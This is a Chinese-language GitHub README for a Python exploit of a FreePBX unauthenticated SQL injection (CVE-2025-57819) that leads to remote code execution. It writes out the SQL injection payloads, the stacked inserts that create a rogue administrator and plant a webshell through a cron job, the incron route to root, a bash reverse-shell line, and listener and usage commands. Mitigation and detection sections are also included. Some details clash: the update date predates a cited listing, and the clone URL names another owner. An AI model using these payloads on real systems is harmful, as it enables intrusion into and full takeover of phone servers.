JazzTheRabbit/FreePBX-SQLi-RCE

GitHub: JazzTheRabbit/FreePBX-SQLi-RCE

针对 FreePBX CVE-2025-57819 未授权 SQL 注入至 RCE 漏洞的自动化 PoC 利用工具。

Stars: 0 | Forks: 0

# FreePBX CVE-2025-57819 - 未授权 SQLi 至 RCE PoC ![Python](https://img.shields.io/badge/Python-3.6+-blue) ![License](https://img.shields.io/badge/License-MIT-green) ![Status](https://img.shields.io/badge/Status-Tested-brightgreen) 针对 **CVE-2025-57819** 的概念验证(PoC)漏洞利用程序,这是 FreePBX 中一个严重的未授权 SQL 注入漏洞,可导致远程代码执行(RCE)。 ## 概述 FreePBX 15.x、16.x 和 17.x 版本(低于已修补版本)在 endpoint 模块的 AJAX 处理程序中存在未授权 SQL 注入漏洞。此漏洞允许攻击者: 1. 通过 SQL 注入**创建管理员账户** 2. 通过已授权的 cron job 注入**部署 webshell** 3. 通过 sysadmin_manager hook 链**将权限提升至 root**(如果 incron 可用) 4. **获取反弹 shell 访问权限**并完全控制系统 此 PoC 演示了在真实 FreePBX 安装环境上的完整漏洞利用链。 ## 漏洞详情 | 字段 | 值 | |-------|-------| | **CVE ID** | CVE-2025-57819 | | **漏洞类型** | 未授权 SQL 注入(基于报错) | | **CVSS 评分** | 9.8 / 10.0(严重) | | **CWE** | CWE-89 (SQLi), CWE-288 (身份验证绕过) | | **受影响版本** | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 | | **已修补版本** | 15.0.66, 16.0.89, 17.0.3+ | | **CISA KEV** | 2025 年 8 月 29 日收录 | | **状态** | 已在野外被积极利用 | ### 漏洞 Endpoint ``` GET /admin/ajax.php?brand= ``` endpoint 模块 AJAX 处理程序中的 `brand` 参数存在基于报错的 SQL 注入漏洞。无需任何身份验证。 ## 漏洞利用链 ### 阶段 1:SQL 注入验证及管理员账户创建 漏洞利用程序通过 `EXTRACTVALUE()` 基于报错的技术提取数据库名称,从而验证 SQLi: ``` x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- - ``` 验证通过后,利用堆叠查询插入一个新的管理员用户: ``` INSERT INTO ampusers (username, password_hash, admin) VALUES ('pbx_xxxxxxxx', '', 1) ``` **结果:** 在未经授权的情况下创建了新的管理员账户。 ### 阶段 2:已授权的 Cron Job 注入 凭借有效的管理员凭证,漏洞利用程序通过 FreePBX 身份验证并建立已授权会话。会话 cookie 将被保存,并用于后续所有已授权的请求。 通过身份验证后,漏洞利用程序向 `asterisk.cron_jobs` 表中注入一条命令: ``` INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) VALUES ('sysadmin', 'wx', 'echo |base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1) ``` **执行:** FreePBX cron 运行器以 `asterisk` 用户身份执行该命令,并投放一个 PHP webshell。 ### 阶段 3:Webshell 激活与低权限访问 PHP webshell 被部署到 `/var/www/html/shell.php`: ``` ``` 漏洞利用程序会轮询该 webshell 直到其被激活,从而以 `asterisk` 用户 (uid=999) 身份实现 RCE。 **结果:** 获得 `asterisk` 用户权限的已授权反弹 shell。 ### 阶段 4:通过 Incron 提升权限(视条件而定) 如果配置了 incron(在许多 FreePBX 安装中默认启用),漏洞利用程序将: 1. 在 `/var/spool/asterisk/incron/` 中**创建 incron 触发器** 2. **触发 sysadmin_manager**(以 root 身份运行,监控 incron 目录) 3. **调用 fwconsole-commands hook**(执行任意 fwconsole 命令) 4. 通过 fwconsole 中的命令替换**注入 bash 反弹 shell** **结果:** 在攻击端的监听器上获取 root shell(如果 incron 可用)。 #### Incron 权限提升详情 ``` # 由 exploit 创建的 Trigger file: /var/spool/asterisk/incron/api.fwconsole-commands. # Handler(以 root 身份运行): /usr/bin/sysadmin_manager "api.fwconsole-commands." # Hook chain: sysadmin_manager → validates GPG signature → fwconsole-commands hook → base64_decode → gzuncompress → json_decode → exec("/usr/sbin/fwconsole $CMD") # Command injection 点: /usr/sbin/fwconsole help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1 ``` ## 漏洞滥用机制 - 对(endpoint 模块的)`brand` 参数**没有输入验证** - **堆叠查询执行**允许在 SQLi 后进行数据库操作 - **可写的 asterisk.cron_jobs 表**以 asterisk 用户身份执行任意命令 - 通过新建管理员账户的 cookie 实现**已授权会话持久化** - **以 root 身份运行的 incron 文件系统监控**及自动调用处理程序 - sysadmin_manager hook 链中的 **GPG 签名绕过** - fwconsole-commands hook 参数解析中的**命令注入** ## 前置条件 - Python 3.6+ - `requests` 库 - 可访问目标 FreePBX 实例的网络连接 - Netcat 监听器(用于接收反弹 shell) ### 安装说明 ``` # Clone repository git clone https://github.com/krack3n/freepbx-cve-2025-57819.git cd freepbx-cve-2025-57819 # Install dependencies pip3 install requests # 使 script 可执行 chmod +x freepbx_exploit.py ``` ## 用法 ### 基础利用 ``` # Terminal 1:启动 netcat listener nc -lvnp 9955 # Terminal 2:运行 exploit python3 freepbx_exploit.py ``` ### 示例 ``` python3 freepbx_exploit.py 192.168.1.100 10.10.14.231 9955 ``` ### 参数 | 参数 | 描述 | 示例 | |----------|-------------|---------| | `TARGET_IP` | 目标 FreePBX 的 IP 或主机名 | `192.168.1.100` | | `YOUR_IP` | 你的攻击机 IP | `10.10.14.231` | | `PORT` | 反弹 shell 的监听端口 | `9955` | ## PoC 演示 ![PoC 演示](https://raw.githubusercontent.com/JazzTheRabbit/FreePBX-SQLi-RCE/main/images/poc.gif) **保证获取:** 低权限 `asterisk` 用户 shell (uid=999) **条件性获取:** Root shell(如果目标上可用 incron/sysadmin_manager) 如果目标上不可用 incron,脚本将生成一个具有低权限 `asterisk` 用户的反弹 shell。Root 权限提升取决于 incron/sysadmin_manager 的可用性。 ## 受影响版本 | FreePBX 版本 | 是否受影响 | 是否已修补 | |-----------------|-----------|---------| | 15.0.0 - 15.0.65 | ✓ | ✗ | | 15.0.66+ | ✗ | ✓ | | 16.0.0 - 16.0.88 | ✓ | ✗ | | 16.0.89+ | ✗ | ✓ | | 17.0.0 - 17.0.2 | ✓ | ✗ | | 17.0.3+ | ✗ | ✓ | ## 修复方案 ### 临时缓解措施 1. **限制**来自不受信任网络的 `/admin/ajax.php` 访问权限 2. 如果不需要,**禁用 incron**:`systemctl disable incrond` 3. **监控** `/var/spool/asterisk/incron/` 中的可疑文件创建行为 ### 彻底修复方案 将 **FreePBX 升级**至已修补版本: - FreePBX 15.0.66 或更高版本 - FreePBX 16.0.89 或更高版本 - FreePBX 17.0.3 或更高版本 补丁修复了: - `brand` 参数的输入验证 - SQL 注入预防 - Incron hook 验证的改进 ## 检测方法 ### 网络检测 监控发往 `/admin/ajax.php` 的可疑 HTTP 请求: ``` GET /admin/ajax.php?brand=x' UNION SELECT ... GET /admin/ajax.php?brand=x' AND EXTRACTVALUE ... GET /admin/ajax.php?brand=x'; INSERT INTO ... ``` ### 日志分析 检查 FreePBX 日志中是否存在: - `/var/log/asterisk/messages` 中意外的管理员用户创建行为 - `asterisk` 数据库中异常的 cron job 条目 - `/var/log/auth.log` 中的 incron 活动 ### 文件监控 监控意外的 webshell 创建行为: ``` watch -n 2 'ls -la /var/www/html/*.php' ``` ## 参考资料 - [CVE-2025-57819](https://nvd.nist.gov/vuln/detail/CVE-2025-57819) - [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities) - [FreePBX 安全公告](https://www.freepbx.org) - [watchTowr 研究](https://www.watchtowrlabs.com) ## 免责声明 ⚠️ **法律声明** 本概念验证(PoC)仅供**教育和合法授权的安全测试目的**使用。未经授权访问计算机系统是违法行为。 **使用条款:** - 仅在您拥有或已获得明确书面授权进行测试的系统上使用此工具 - 不得用于恶意目的或未经授权的访问 - 用户需自行遵守适用的法律法规 - 作者不对滥用本工具或由此造成的损害承担任何责任 **道德黑客准则:** - 在测试前务必获得书面授权 - 遵循负责任的漏洞披露原则 - 在公开披露前向受影响的供应商报告漏洞 - 尊重隐私和数据保护法规 ## 作者 **JazzTheRabbit** - GitHub: [@JazzTheRabbit](https://github.com/JazzTheRabbit) - HackTheBox: [@JazzTheRabbit](https://www.hackthebox.com/home/users/profile/JazzTheRabbit) - YouTube: [JazzTheRabbit](https://www.youtube.com/@JazzTheRabbit) - 专长领域: Active Directory, Windows Exploitation, Offensive Security ## 更新日志 ### 版本 1.0 (2025) - 初始公开发布 - 完整的漏洞利用链实现 - 通过 incron 的条件性 root 权限提升 - 降级至 asterisk 用户 shell 的后备方案 - 专业的输出格式化 ## 许可证 MIT License - 详情请参阅 LICENSE 文件 ## 支持 如有任何问题、疑问或反馈: - 在 GitHub 上提交 Issue - 提交包含改进的 PR - 针对安全发现遵循负责任的漏洞披露原则 **最后更新:** 2025 年 6 月 **状态:** 积极开发中 **测试环境:** FreePBX 16.0.40.7 (HackTheBox "Connected"), 真实安装环境
标签:CISA项目, FreePBX, PoC, Python, 无后门, 暴力破解, 编程工具, 远程代码执行, 逆向工具